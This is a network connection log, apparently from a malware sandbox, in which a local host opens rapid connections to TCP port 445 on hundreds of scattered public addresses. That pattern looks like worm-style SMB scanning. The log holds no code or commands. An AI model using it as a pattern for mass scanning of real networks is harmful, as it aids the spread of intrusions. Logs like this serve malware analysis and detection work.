Jul 20, 2022 09:10:50.631907940 CEST	445	58712	201.187.246.6	192.168.2.6
Jul 20, 2022 09:10:50.632114887 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:50.679776907 CEST	58747	445	192.168.2.6	77.118.247.110
Jul 20, 2022 09:10:50.680608034 CEST	58748	445	192.168.2.6	209.11.133.15
Jul 20, 2022 09:10:50.703936100 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:50.737092018 CEST	58752	445	192.168.2.6	185.147.213.14
Jul 20, 2022 09:10:50.782428980 CEST	58753	445	192.168.2.6	87.46.146.251
Jul 20, 2022 09:10:50.856981993 CEST	58760	445	192.168.2.6	47.249.83.78
Jul 20, 2022 09:10:50.857449055 CEST	58761	445	192.168.2.6	129.189.8.119
Jul 20, 2022 09:10:50.857633114 CEST	58762	445	192.168.2.6	195.107.10.234
Jul 20, 2022 09:10:50.857758999 CEST	58763	445	192.168.2.6	172.22.42.52
Jul 20, 2022 09:10:50.877535105 CEST	58770	445	192.168.2.6	68.169.152.103
Jul 20, 2022 09:10:50.878659010 CEST	58772	445	192.168.2.6	212.141.108.109
Jul 20, 2022 09:10:50.939178944 CEST	445	58751	201.187.246.6	192.168.2.6
Jul 20, 2022 09:10:50.939289093 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:51.047576904 CEST	58776	445	192.168.2.6	129.162.27.108
Jul 20, 2022 09:10:51.052515030 CEST	58785	445	192.168.2.6	223.206.230.142
Jul 20, 2022 09:10:51.063895941 CEST	58788	445	192.168.2.6	71.27.34.210
Jul 20, 2022 09:10:51.135610104 CEST	58794	445	192.168.2.6	110.238.28.6
Jul 20, 2022 09:10:51.135682106 CEST	58796	445	192.168.2.6	211.215.81.146
Jul 20, 2022 09:10:51.135740042 CEST	58798	445	192.168.2.6	223.237.105.52
Jul 20, 2022 09:10:51.135991096 CEST	58803	445	192.168.2.6	221.211.85.48
Jul 20, 2022 09:10:51.136085033 CEST	58804	445	192.168.2.6	133.140.46.56
Jul 20, 2022 09:10:51.499871016 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:51.602147102 CEST	58816	445	192.168.2.6	18.119.139.12
Jul 20, 2022 09:10:51.630808115 CEST	58818	445	192.168.2.6	13.218.182.74
Jul 20, 2022 09:10:51.631037951 CEST	58819	445	192.168.2.6	21.66.185.187
Jul 20, 2022 09:10:51.631144047 CEST	58821	445	192.168.2.6	58.254.43.104
Jul 20, 2022 09:10:51.631185055 CEST	58822	445	192.168.2.6	135.141.101.161
Jul 20, 2022 09:10:51.631390095 CEST	58823	445	192.168.2.6	104.108.236.171
Jul 20, 2022 09:10:51.688802958 CEST	58824	445	192.168.2.6	128.39.192.129
Jul 20, 2022 09:10:51.698249102 CEST	58837	445	192.168.2.6	222.201.116.222
Jul 20, 2022 09:10:51.699045897 CEST	58838	445	192.168.2.6	19.252.39.41
Jul 20, 2022 09:10:51.699816942 CEST	58839	445	192.168.2.6	64.181.127.233
Jul 20, 2022 09:10:51.781121969 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:51.785541058 CEST	58844	445	192.168.2.6	104.207.248.144
Jul 20, 2022 09:10:51.786295891 CEST	58845	445	192.168.2.6	90.28.177.239
Jul 20, 2022 09:10:51.798080921 CEST	58850	445	192.168.2.6	185.147.213.15
Jul 20, 2022 09:10:51.893054008 CEST	58851	445	192.168.2.6	34.17.254.233
Jul 20, 2022 09:10:51.893487930 CEST	58854	445	192.168.2.6	136.145.205.126
Jul 20, 2022 09:10:51.980076075 CEST	58862	445	192.168.2.6	183.174.108.126
Jul 20, 2022 09:10:51.982045889 CEST	58863	445	192.168.2.6	67.122.30.3
Jul 20, 2022 09:10:51.982208967 CEST	58864	445	192.168.2.6	102.161.151.184
Jul 20, 2022 09:10:51.982225895 CEST	58865	445	192.168.2.6	19.136.126.201
Jul 20, 2022 09:10:51.982405901 CEST	58866	445	192.168.2.6	200.174.219.204
Jul 20, 2022 09:10:52.002262115 CEST	58868	445	192.168.2.6	176.80.168.185
Jul 20, 2022 09:10:52.002800941 CEST	58869	445	192.168.2.6	37.1.63.146
Jul 20, 2022 09:10:52.109292030 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:52.172760963 CEST	58874	445	192.168.2.6	23.187.127.62
Jul 20, 2022 09:10:52.196006060 CEST	58883	445	192.168.2.6	186.42.154.57
Jul 20, 2022 09:10:52.205879927 CEST	58888	445	192.168.2.6	40.231.11.114
Jul 20, 2022 09:10:52.237837076 CEST	58893	445	192.168.2.6	163.74.64.188
Jul 20, 2022 09:10:52.239690065 CEST	58895	445	192.168.2.6	103.188.118.148
Jul 20, 2022 09:10:52.241075993 CEST	58897	445	192.168.2.6	24.228.244.249
Jul 20, 2022 09:10:52.243807077 CEST	58901	445	192.168.2.6	59.125.254.30
Jul 20, 2022 09:10:52.320758104 CEST	58908	445	192.168.2.6	101.7.18.223
Jul 20, 2022 09:10:52.473846912 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:52.688363075 CEST	58913	445	192.168.2.6	18.119.139.13
Jul 20, 2022 09:10:52.753771067 CEST	58917	445	192.168.2.6	204.241.181.22
Jul 20, 2022 09:10:52.753940105 CEST	58918	445	192.168.2.6	83.63.164.115
Jul 20, 2022 09:10:52.754049063 CEST	58919	445	192.168.2.6	89.71.217.64
Jul 20, 2022 09:10:52.754143953 CEST	58922	445	192.168.2.6	197.0.82.147
Jul 20, 2022 09:10:52.754183054 CEST	58921	445	192.168.2.6	96.250.174.4
Jul 20, 2022 09:10:52.818316936 CEST	58923	445	192.168.2.6	202.86.78.173
Jul 20, 2022 09:10:52.818484068 CEST	58924	445	192.168.2.6	187.180.46.21
Jul 20, 2022 09:10:52.819385052 CEST	58925	445	192.168.2.6	161.148.248.141
Jul 20, 2022 09:10:52.820092916 CEST	58938	445	192.168.2.6	197.88.191.40
Jul 20, 2022 09:10:52.860405922 CEST	58939	445	192.168.2.6	185.147.213.16
Jul 20, 2022 09:10:52.910824060 CEST	58944	445	192.168.2.6	170.230.213.184
Jul 20, 2022 09:10:52.913129091 CEST	58945	445	192.168.2.6	179.222.228.139
Jul 20, 2022 09:10:53.004266024 CEST	58950	445	192.168.2.6	87.58.37.79
Jul 20, 2022 09:10:53.007133007 CEST	58954	445	192.168.2.6	104.154.111.222
Jul 20, 2022 09:10:53.095177889 CEST	58955	445	192.168.2.6	133.218.244.27
Jul 20, 2022 09:10:53.096453905 CEST	58957	445	192.168.2.6	85.151.222.103
Jul 20, 2022 09:10:53.099190950 CEST	58961	445	192.168.2.6	10.78.24.80
Jul 20, 2022 09:10:53.099934101 CEST	58962	445	192.168.2.6	133.66.210.17
Jul 20, 2022 09:10:53.100723028 CEST	58963	445	192.168.2.6	93.9.161.35
Jul 20, 2022 09:10:53.113177061 CEST	58964	445	192.168.2.6	116.164.63.192
Jul 20, 2022 09:10:53.114691019 CEST	58966	445	192.168.2.6	153.165.109.27
Jul 20, 2022 09:10:53.298088074 CEST	58973	445	192.168.2.6	186.60.35.130
Jul 20, 2022 09:10:53.314701080 CEST	58978	445	192.168.2.6	22.27.101.129
Jul 20, 2022 09:10:53.332577944 CEST	58989	445	192.168.2.6	131.20.126.173
Jul 20, 2022 09:10:53.362804890 CEST	58991	445	192.168.2.6	96.143.105.46
Jul 20, 2022 09:10:53.366071939 CEST	58995	445	192.168.2.6	59.82.230.183
Jul 20, 2022 09:10:53.368639946 CEST	58997	445	192.168.2.6	165.74.198.78
Jul 20, 2022 09:10:53.368745089 CEST	58999	445	192.168.2.6	49.160.135.147
Jul 20, 2022 09:10:53.423480988 CEST	59002	445	192.168.2.6	145.75.166.3
Jul 20, 2022 09:10:53.609466076 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:53.968842030 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:54.021575928 CEST	59010	445	192.168.2.6	18.119.139.14
Jul 20, 2022 09:10:54.023757935 CEST	59014	445	192.168.2.6	154.224.244.102
Jul 20, 2022 09:10:54.024574995 CEST	59015	445	192.168.2.6	48.247.234.216
Jul 20, 2022 09:10:54.027136087 CEST	59017	445	192.168.2.6	50.236.237.76
Jul 20, 2022 09:10:54.027652979 CEST	59019	445	192.168.2.6	33.120.253.201
Jul 20, 2022 09:10:54.027673006 CEST	59018	445	192.168.2.6	71.79.184.131
Jul 20, 2022 09:10:54.107155085 CEST	59022	445	192.168.2.6	185.147.213.17
Jul 20, 2022 09:10:54.133189917 CEST	59023	445	192.168.2.6	71.19.90.100
Jul 20, 2022 09:10:54.145222902 CEST	59036	445	192.168.2.6	20.34.41.168
Jul 20, 2022 09:10:54.145984888 CEST	59037	445	192.168.2.6	189.201.166.243
Jul 20, 2022 09:10:54.146708965 CEST	59038	445	192.168.2.6	52.111.211.13
Jul 20, 2022 09:10:54.148144007 CEST	59040	445	192.168.2.6	212.133.208.2
Jul 20, 2022 09:10:54.151870966 CEST	59045	445	192.168.2.6	221.178.84.186
Jul 20, 2022 09:10:54.152641058 CEST	59046	445	192.168.2.6	55.229.118.11
Jul 20, 2022 09:10:54.155956030 CEST	59051	445	192.168.2.6	152.150.244.222
Jul 20, 2022 09:10:54.256696939 CEST	59054	445	192.168.2.6	108.56.73.57
Jul 20, 2022 09:10:54.259579897 CEST	59058	445	192.168.2.6	159.54.171.37
Jul 20, 2022 09:10:54.261439085 CEST	59060	445	192.168.2.6	29.60.7.2
Jul 20, 2022 09:10:54.262213945 CEST	59061	445	192.168.2.6	126.199.251.124
Jul 20, 2022 09:10:54.263000011 CEST	59062	445	192.168.2.6	136.203.160.112
Jul 20, 2022 09:10:54.263758898 CEST	59063	445	192.168.2.6	144.72.226.80
Jul 20, 2022 09:10:54.265165091 CEST	59065	445	192.168.2.6	54.0.86.34
Jul 20, 2022 09:10:54.496287107 CEST	59073	445	192.168.2.6	7.48.245.192
Jul 20, 2022 09:10:54.500066042 CEST	57848	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:54.500096083 CEST	57851	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:54.501599073 CEST	59077	445	192.168.2.6	192.42.108.102
Jul 20, 2022 09:10:54.503123045 CEST	59080	445	192.168.2.6	198.163.25.174
Jul 20, 2022 09:10:54.503700972 CEST	59081	445	192.168.2.6	100.135.196.123
Jul 20, 2022 09:10:54.507009029 CEST	59088	445	192.168.2.6	145.52.145.140
Jul 20, 2022 09:10:54.510462046 CEST	59095	445	192.168.2.6	9.153.176.120
Jul 20, 2022 09:10:54.511009932 CEST	59096	445	192.168.2.6	5.78.55.44
Jul 20, 2022 09:10:54.689414024 CEST	59107	445	192.168.2.6	70.213.88.99
Jul 20, 2022 09:10:55.903537035 CEST	59111	445	192.168.2.6	185.147.213.18
Jul 20, 2022 09:10:55.903539896 CEST	59110	445	192.168.2.6	18.119.139.15
Jul 20, 2022 09:10:55.903702974 CEST	59115	445	192.168.2.6	78.165.185.224
Jul 20, 2022 09:10:55.903758049 CEST	59116	445	192.168.2.6	83.238.53.79
Jul 20, 2022 09:10:55.903867006 CEST	59118	445	192.168.2.6	132.126.14.37
Jul 20, 2022 09:10:55.903873920 CEST	59119	445	192.168.2.6	137.249.249.41
Jul 20, 2022 09:10:55.903928041 CEST	59120	445	192.168.2.6	203.209.15.211
Jul 20, 2022 09:10:56.002710104 CEST	59123	445	192.168.2.6	161.217.191.87
Jul 20, 2022 09:10:56.010231018 CEST	59138	445	192.168.2.6	168.107.162.68
Jul 20, 2022 09:10:56.010876894 CEST	59139	445	192.168.2.6	30.206.106.8
Jul 20, 2022 09:10:56.011563063 CEST	59140	445	192.168.2.6	220.206.179.239
Jul 20, 2022 09:10:56.012888908 CEST	59142	445	192.168.2.6	38.23.172.216
Jul 20, 2022 09:10:56.018117905 CEST	59147	445	192.168.2.6	63.77.74.107
Jul 20, 2022 09:10:56.018893003 CEST	59148	445	192.168.2.6	26.166.125.18
Jul 20, 2022 09:10:56.022326946 CEST	59153	445	192.168.2.6	82.220.249.208
Jul 20, 2022 09:10:56.023740053 CEST	59155	445	192.168.2.6	218.113.24.55
Jul 20, 2022 09:10:56.028381109 CEST	59162	445	192.168.2.6	140.123.190.89
Jul 20, 2022 09:10:56.029236078 CEST	59163	445	192.168.2.6	63.125.26.69
Jul 20, 2022 09:10:56.035969973 CEST	59170	445	192.168.2.6	187.70.70.72
Jul 20, 2022 09:10:56.043292046 CEST	59180	445	192.168.2.6	220.128.18.150
Jul 20, 2022 09:10:56.046241045 CEST	59184	445	192.168.2.6	118.245.24.93
Jul 20, 2022 09:10:56.134080887 CEST	59186	445	192.168.2.6	24.83.73.194
Jul 20, 2022 09:10:56.134768009 CEST	59187	445	192.168.2.6	9.80.15.161
Jul 20, 2022 09:10:56.135449886 CEST	59188	445	192.168.2.6	67.149.78.249
Jul 20, 2022 09:10:56.136147022 CEST	59189	445	192.168.2.6	5.34.173.1
Jul 20, 2022 09:10:56.137469053 CEST	59191	445	192.168.2.6	122.119.180.133
Jul 20, 2022 09:10:56.138746977 CEST	59193	445	192.168.2.6	7.191.59.68
Jul 20, 2022 09:10:56.215801001 CEST	59198	445	192.168.2.6	111.6.169.143
Jul 20, 2022 09:10:56.218235016 CEST	59201	445	192.168.2.6	209.218.238.117
Jul 20, 2022 09:10:56.218897104 CEST	59202	445	192.168.2.6	155.236.112.184
Jul 20, 2022 09:10:56.500303984 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:56.781625986 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:10:58.062505007 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:58.164128065 CEST	59212	445	192.168.2.6	185.147.213.19
Jul 20, 2022 09:10:58.164520025 CEST	59213	445	192.168.2.6	18.119.139.16
Jul 20, 2022 09:10:58.164891958 CEST	59220	445	192.168.2.6	84.5.84.230
Jul 20, 2022 09:10:58.164964914 CEST	59221	445	192.168.2.6	219.14.2.100
Jul 20, 2022 09:10:58.165204048 CEST	59226	445	192.168.2.6	10.63.41.208
Jul 20, 2022 09:10:58.165273905 CEST	59227	445	192.168.2.6	91.155.28.179
Jul 20, 2022 09:10:58.165508986 CEST	59232	445	192.168.2.6	120.42.165.10
Jul 20, 2022 09:10:58.165623903 CEST	59234	445	192.168.2.6	4.111.168.178
Jul 20, 2022 09:10:58.165680885 CEST	59235	445	192.168.2.6	210.211.108.5
Jul 20, 2022 09:10:58.165743113 CEST	59236	445	192.168.2.6	2.233.96.62
Jul 20, 2022 09:10:58.166366100 CEST	59251	445	192.168.2.6	81.230.95.214
Jul 20, 2022 09:10:58.166531086 CEST	59254	445	192.168.2.6	170.0.45.16
Jul 20, 2022 09:10:58.166591883 CEST	59255	445	192.168.2.6	217.65.8.43
Jul 20, 2022 09:10:58.168437004 CEST	59257	445	192.168.2.6	36.230.142.214
Jul 20, 2022 09:10:58.168540001 CEST	59258	445	192.168.2.6	123.87.118.212
Jul 20, 2022 09:10:58.168628931 CEST	59259	445	192.168.2.6	142.61.145.183
Jul 20, 2022 09:10:58.202045918 CEST	59264	445	192.168.2.6	67.154.127.43
Jul 20, 2022 09:10:58.202197075 CEST	59267	445	192.168.2.6	119.148.14.118
Jul 20, 2022 09:10:58.202250004 CEST	59268	445	192.168.2.6	137.133.249.86
Jul 20, 2022 09:10:58.202325106 CEST	59269	445	192.168.2.6	70.202.84.46
Jul 20, 2022 09:10:58.202387094 CEST	59270	445	192.168.2.6	198.43.167.157
Jul 20, 2022 09:10:58.202465057 CEST	59271	445	192.168.2.6	207.102.93.146
Jul 20, 2022 09:10:58.202522039 CEST	59273	445	192.168.2.6	138.61.117.160
Jul 20, 2022 09:10:58.202622890 CEST	59275	445	192.168.2.6	59.197.182.127
Jul 20, 2022 09:10:58.202792883 CEST	59279	445	192.168.2.6	154.200.102.4
Jul 20, 2022 09:10:58.202931881 CEST	59283	445	192.168.2.6	144.204.163.116
Jul 20, 2022 09:10:58.203279972 CEST	59293	445	192.168.2.6	215.98.175.2
Jul 20, 2022 09:10:58.217668056 CEST	445	59211	155.101.152.2	192.168.2.6
Jul 20, 2022 09:10:58.217864990 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:58.279346943 CEST	59300	445	192.168.2.6	87.229.31.155
Jul 20, 2022 09:10:58.279449940 CEST	59301	445	192.168.2.6	100.212.170.189
Jul 20, 2022 09:10:58.288549900 CEST	59311	445	192.168.2.6	201.94.130.252
Jul 20, 2022 09:10:58.349883080 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:58.349925041 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:58.350018024 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:58.350862980 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:58.350882053 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:58.431834936 CEST	445	59257	36.230.142.214	192.168.2.6
Jul 20, 2022 09:10:58.448388100 CEST	445	59235	210.211.108.5	192.168.2.6
Jul 20, 2022 09:10:58.453171015 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:58.453296900 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:58.472299099 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:58.472322941 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:58.472610950 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:10:58.578569889 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:10:58.781778097 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:58.969250917 CEST	59257	445	192.168.2.6	36.230.142.214
Jul 20, 2022 09:10:59.000556946 CEST	59235	445	192.168.2.6	210.211.108.5
Jul 20, 2022 09:10:59.231420994 CEST	445	59257	36.230.142.214	192.168.2.6
Jul 20, 2022 09:10:59.251458883 CEST	59315	445	192.168.2.6	185.147.213.20
Jul 20, 2022 09:10:59.252228975 CEST	59316	445	192.168.2.6	18.119.139.17
Jul 20, 2022 09:10:59.281809092 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:10:59.284758091 CEST	445	59235	210.211.108.5	192.168.2.6
Jul 20, 2022 09:10:59.302510023 CEST	59317	445	192.168.2.6	200.202.135.38
Jul 20, 2022 09:10:59.322074890 CEST	59319	445	192.168.2.6	190.101.238.85
Jul 20, 2022 09:10:59.322539091 CEST	59320	445	192.168.2.6	94.38.55.37
Jul 20, 2022 09:10:59.322551966 CEST	59321	445	192.168.2.6	23.59.91.43
Jul 20, 2022 09:10:59.323028088 CEST	59333	445	192.168.2.6	136.185.106.249
Jul 20, 2022 09:10:59.323086023 CEST	59335	445	192.168.2.6	22.223.68.242
Jul 20, 2022 09:10:59.323102951 CEST	59336	445	192.168.2.6	166.206.159.20
Jul 20, 2022 09:10:59.323189974 CEST	59338	445	192.168.2.6	180.99.125.46
Jul 20, 2022 09:10:59.323344946 CEST	59343	445	192.168.2.6	17.55.11.171
Jul 20, 2022 09:10:59.323507071 CEST	59348	445	192.168.2.6	1.173.76.146
Jul 20, 2022 09:10:59.323643923 CEST	59351	445	192.168.2.6	53.72.83.12
Jul 20, 2022 09:10:59.323653936 CEST	59349	445	192.168.2.6	216.53.27.115
Jul 20, 2022 09:10:59.323946953 CEST	59362	445	192.168.2.6	123.135.28.98
Jul 20, 2022 09:10:59.323990107 CEST	59363	445	192.168.2.6	152.108.252.208
Jul 20, 2022 09:10:59.408932924 CEST	59369	445	192.168.2.6	98.174.93.67
Jul 20, 2022 09:10:59.484652996 CEST	59377	445	192.168.2.6	13.214.142.136
Jul 20, 2022 09:10:59.498989105 CEST	59388	445	192.168.2.6	69.187.208.242
Jul 20, 2022 09:10:59.499140978 CEST	59389	445	192.168.2.6	107.188.59.46
Jul 20, 2022 09:10:59.499706984 CEST	59399	445	192.168.2.6	19.113.197.224
Jul 20, 2022 09:10:59.499840021 CEST	59400	445	192.168.2.6	217.148.161.95
Jul 20, 2022 09:10:59.499963045 CEST	59403	445	192.168.2.6	214.57.25.133
Jul 20, 2022 09:10:59.500010014 CEST	59405	445	192.168.2.6	40.2.224.151
Jul 20, 2022 09:10:59.500052929 CEST	59406	445	192.168.2.6	33.25.126.31
Jul 20, 2022 09:10:59.500085115 CEST	59407	445	192.168.2.6	32.201.118.223
Jul 20, 2022 09:10:59.500169992 CEST	59408	445	192.168.2.6	14.13.3.146
Jul 20, 2022 09:10:59.500201941 CEST	59409	445	192.168.2.6	181.21.132.224
Jul 20, 2022 09:10:59.500302076 CEST	59411	445	192.168.2.6	155.202.45.7
Jul 20, 2022 09:10:59.500420094 CEST	59414	445	192.168.2.6	194.78.210.192
Jul 20, 2022 09:10:59.547983885 CEST	445	59369	98.174.93.67	192.168.2.6
Jul 20, 2022 09:10:59.590708971 CEST	445	59348	1.173.76.146	192.168.2.6
Jul 20, 2022 09:11:00.084125996 CEST	59369	445	192.168.2.6	98.174.93.67
Jul 20, 2022 09:11:00.109975100 CEST	59348	445	192.168.2.6	1.173.76.146
Jul 20, 2022 09:11:00.223726034 CEST	445	59369	98.174.93.67	192.168.2.6
Jul 20, 2022 09:11:00.281907082 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:11:00.315623999 CEST	59417	445	192.168.2.6	185.147.213.21
Jul 20, 2022 09:11:00.316278934 CEST	59418	445	192.168.2.6	18.119.139.18
Jul 20, 2022 09:11:00.377213955 CEST	445	59348	1.173.76.146	192.168.2.6
Jul 20, 2022 09:11:00.426911116 CEST	59419	445	192.168.2.6	140.253.172.190
Jul 20, 2022 09:11:00.439179897 CEST	59420	445	192.168.2.6	113.141.75.23
Jul 20, 2022 09:11:00.441291094 CEST	59422	445	192.168.2.6	204.64.30.243
Jul 20, 2022 09:11:00.443676949 CEST	59425	445	192.168.2.6	140.48.33.116
Jul 20, 2022 09:11:00.464167118 CEST	59430	445	192.168.2.6	212.18.96.26
Jul 20, 2022 09:11:00.464246988 CEST	59433	445	192.168.2.6	179.98.117.117
Jul 20, 2022 09:11:00.464301109 CEST	59434	445	192.168.2.6	122.71.156.234
Jul 20, 2022 09:11:00.464354992 CEST	59435	445	192.168.2.6	67.116.152.155
Jul 20, 2022 09:11:00.464787960 CEST	59448	445	192.168.2.6	46.140.183.193
Jul 20, 2022 09:11:00.464804888 CEST	59449	445	192.168.2.6	105.117.213.107
Jul 20, 2022 09:11:00.464916945 CEST	59451	445	192.168.2.6	116.214.200.126
Jul 20, 2022 09:11:00.465039015 CEST	59454	445	192.168.2.6	191.28.212.15
Jul 20, 2022 09:11:00.465070963 CEST	59455	445	192.168.2.6	190.34.203.150
Jul 20, 2022 09:11:00.465569973 CEST	59465	445	192.168.2.6	166.190.157.122
Jul 20, 2022 09:11:00.479099035 CEST	445	59448	46.140.183.193	192.168.2.6
Jul 20, 2022 09:11:00.539041996 CEST	59474	445	192.168.2.6	25.249.96.174
Jul 20, 2022 09:11:00.583167076 CEST	445	59422	204.64.30.243	192.168.2.6
Jul 20, 2022 09:11:00.626497030 CEST	59479	445	192.168.2.6	51.223.208.135
Jul 20, 2022 09:11:00.627209902 CEST	59480	445	192.168.2.6	223.223.55.31
Jul 20, 2022 09:11:00.627845049 CEST	59481	445	192.168.2.6	37.110.145.182
Jul 20, 2022 09:11:00.629201889 CEST	59483	445	192.168.2.6	71.40.145.44
Jul 20, 2022 09:11:00.632189989 CEST	59487	445	192.168.2.6	70.108.123.231
Jul 20, 2022 09:11:00.632868052 CEST	59488	445	192.168.2.6	13.110.53.199
Jul 20, 2022 09:11:00.633517027 CEST	59489	445	192.168.2.6	157.144.238.19
Jul 20, 2022 09:11:00.634140015 CEST	59490	445	192.168.2.6	18.148.169.1
Jul 20, 2022 09:11:00.634799957 CEST	59491	445	192.168.2.6	63.243.124.61
Jul 20, 2022 09:11:00.663631916 CEST	59493	445	192.168.2.6	178.238.150.28
Jul 20, 2022 09:11:00.693716049 CEST	59503	445	192.168.2.6	74.61.227.215
Jul 20, 2022 09:11:00.693830013 CEST	59505	445	192.168.2.6	202.183.213.231
Jul 20, 2022 09:11:00.694199085 CEST	59515	445	192.168.2.6	99.33.198.247
Jul 20, 2022 09:11:01.000705957 CEST	59448	445	192.168.2.6	46.140.183.193
Jul 20, 2022 09:11:01.013215065 CEST	445	59448	46.140.183.193	192.168.2.6
Jul 20, 2022 09:11:01.110086918 CEST	59422	445	192.168.2.6	204.64.30.243
Jul 20, 2022 09:11:01.250637054 CEST	445	59454	191.28.212.15	192.168.2.6
Jul 20, 2022 09:11:01.376650095 CEST	59520	445	192.168.2.6	185.147.213.22
Jul 20, 2022 09:11:01.376709938 CEST	59521	445	192.168.2.6	18.119.139.19
Jul 20, 2022 09:11:01.567219973 CEST	59522	445	192.168.2.6	77.197.7.174
Jul 20, 2022 09:11:01.567569971 CEST	59523	445	192.168.2.6	86.52.110.249
Jul 20, 2022 09:11:01.567573071 CEST	59527	445	192.168.2.6	56.166.137.13
Jul 20, 2022 09:11:01.567677021 CEST	59531	445	192.168.2.6	101.160.181.1
Jul 20, 2022 09:11:01.581653118 CEST	59534	445	192.168.2.6	159.32.173.20
Jul 20, 2022 09:11:01.597640991 CEST	59540	445	192.168.2.6	42.238.89.189
Jul 20, 2022 09:11:01.597657919 CEST	59541	445	192.168.2.6	8.228.175.63
Jul 20, 2022 09:11:01.597743034 CEST	59542	445	192.168.2.6	144.77.33.140
Jul 20, 2022 09:11:01.597779036 CEST	59544	445	192.168.2.6	146.85.223.33
Jul 20, 2022 09:11:01.598174095 CEST	59556	445	192.168.2.6	193.66.63.238
Jul 20, 2022 09:11:01.598231077 CEST	59558	445	192.168.2.6	179.171.112.94
Jul 20, 2022 09:11:01.598304987 CEST	59560	445	192.168.2.6	93.106.200.109
Jul 20, 2022 09:11:01.598373890 CEST	59561	445	192.168.2.6	76.99.246.177
Jul 20, 2022 09:11:01.598392963 CEST	59563	445	192.168.2.6	94.205.241.214
Jul 20, 2022 09:11:01.667365074 CEST	59578	445	192.168.2.6	174.7.32.218
Jul 20, 2022 09:11:01.771702051 CEST	59584	445	192.168.2.6	201.235.58.144
Jul 20, 2022 09:11:01.771708965 CEST	59585	445	192.168.2.6	169.80.119.124
Jul 20, 2022 09:11:01.771889925 CEST	59588	445	192.168.2.6	4.53.160.246
Jul 20, 2022 09:11:01.771903038 CEST	59589	445	192.168.2.6	113.202.57.208
Jul 20, 2022 09:11:01.771969080 CEST	59590	445	192.168.2.6	21.75.213.151
Jul 20, 2022 09:11:01.772003889 CEST	59591	445	192.168.2.6	78.240.100.237
Jul 20, 2022 09:11:01.772066116 CEST	59592	445	192.168.2.6	122.201.237.40
Jul 20, 2022 09:11:01.772103071 CEST	59593	445	192.168.2.6	46.84.75.242
Jul 20, 2022 09:11:01.772156954 CEST	59594	445	192.168.2.6	24.9.31.168
Jul 20, 2022 09:11:01.786092997 CEST	59602	445	192.168.2.6	142.78.5.121
Jul 20, 2022 09:11:01.828197956 CEST	59605	445	192.168.2.6	116.9.179.4
Jul 20, 2022 09:11:01.828262091 CEST	59606	445	192.168.2.6	163.107.70.197
Jul 20, 2022 09:11:01.828644991 CEST	59617	445	192.168.2.6	186.219.136.206
Jul 20, 2022 09:11:02.282094955 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:11:02.313334942 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:02.439451933 CEST	59623	445	192.168.2.6	185.147.213.23
Jul 20, 2022 09:11:02.439486027 CEST	59624	445	192.168.2.6	18.119.139.20
Jul 20, 2022 09:11:02.455168009 CEST	445	59558	179.171.112.94	192.168.2.6
Jul 20, 2022 09:11:02.469611883 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:02.677337885 CEST	59626	445	192.168.2.6	171.120.219.106
Jul 20, 2022 09:11:02.678004026 CEST	59627	445	192.168.2.6	67.16.176.55
Jul 20, 2022 09:11:02.682564020 CEST	59632	445	192.168.2.6	66.219.245.95
Jul 20, 2022 09:11:02.682651997 CEST	59635	445	192.168.2.6	70.85.57.202
Jul 20, 2022 09:11:02.691988945 CEST	59639	445	192.168.2.6	132.42.128.56
Jul 20, 2022 09:11:02.722803116 CEST	59648	445	192.168.2.6	163.22.38.227
Jul 20, 2022 09:11:02.722925901 CEST	59650	445	192.168.2.6	139.155.197.218
Jul 20, 2022 09:11:02.723006010 CEST	59651	445	192.168.2.6	90.102.75.223
Jul 20, 2022 09:11:02.723143101 CEST	59653	445	192.168.2.6	47.175.174.133
Jul 20, 2022 09:11:02.723242998 CEST	59655	445	192.168.2.6	6.235.12.92
Jul 20, 2022 09:11:02.723884106 CEST	59668	445	192.168.2.6	31.182.64.160
Jul 20, 2022 09:11:02.724039078 CEST	59670	445	192.168.2.6	110.231.184.35
Jul 20, 2022 09:11:02.724116087 CEST	59671	445	192.168.2.6	137.165.211.217
Jul 20, 2022 09:11:02.724189997 CEST	59672	445	192.168.2.6	83.19.12.86
Jul 20, 2022 09:11:02.789892912 CEST	59685	445	192.168.2.6	115.18.203.248
Jul 20, 2022 09:11:02.882205963 CEST	59688	445	192.168.2.6	95.69.42.241
Jul 20, 2022 09:11:02.882245064 CEST	59689	445	192.168.2.6	174.69.163.162
Jul 20, 2022 09:11:02.882313013 CEST	59690	445	192.168.2.6	212.226.26.243
Jul 20, 2022 09:11:02.882343054 CEST	59691	445	192.168.2.6	86.178.142.140
